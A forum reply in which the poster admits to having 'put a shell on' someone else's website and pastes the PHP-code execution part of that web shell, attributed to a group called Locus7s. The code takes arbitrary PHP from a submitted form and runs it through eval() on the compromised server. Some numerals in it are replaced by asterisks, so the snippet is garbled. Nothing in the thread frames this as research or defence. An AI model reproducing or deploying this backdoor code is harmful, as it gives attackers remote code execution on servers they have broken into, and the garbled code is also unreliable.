Quote Originally Posted by JayT View Post
Is that your site ?

If so, I'm interested in the source code of the program with the [PHP-Code] link.

It executes PHP code.

My PHP code tester is built around a PHP function that can execute a line of PHP code internally. I'd like to see how that code was made and compare it to my concept. Mine still has a few bugs.
It's not my site, I just put a shell on that site.
The shell is made by a group called Locus7s.

I'm sure this portion is the full source of the PHP-Code part.
[PHP]if ($act == "eval")
{
if (!empty($eval))
{
echo "<b>Result of execution this PHP-code</b>:<br>";
$tmp = ob_get_contents();
$olddir = realpath(".");
@chdir($d);
if ($tmp)
{
ob_clean();
eval($eval);
$ret = ob_get_contents();
$ret = convert_cyr_string($ret,"d","w");
ob_clean();
echo $tmp;
if ($eval_txt)
{
$rows = count(explode("\r\n",$ret))+*;
if ($rows < *0) {$rows = *0;}
echo "<br><textarea cols=\"*22\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>";
}
else {echo $ret."<br>";}
}
else
{
if ($eval_txt)
{
echo "<br><textarea cols=\"*22\" rows=\"*5\" readonly>";
eval($eval);
echo "</textarea>";
}
else {echo $ret;}
}
@chdir($olddir);
}
else {echo "<b>Execution PHP-code</b>"; if (empty($eval_txt)) {$eval_txt = TRUE;}}
echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=eval><textarea name=\"eval\" cols=\"*22\" rows=\"*0\">".htmlspecialchars($eval)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"eval_txt\" value=\"*\""; if ($eval_txt) {echo " checked";} echo "></form>";
} [/PHP]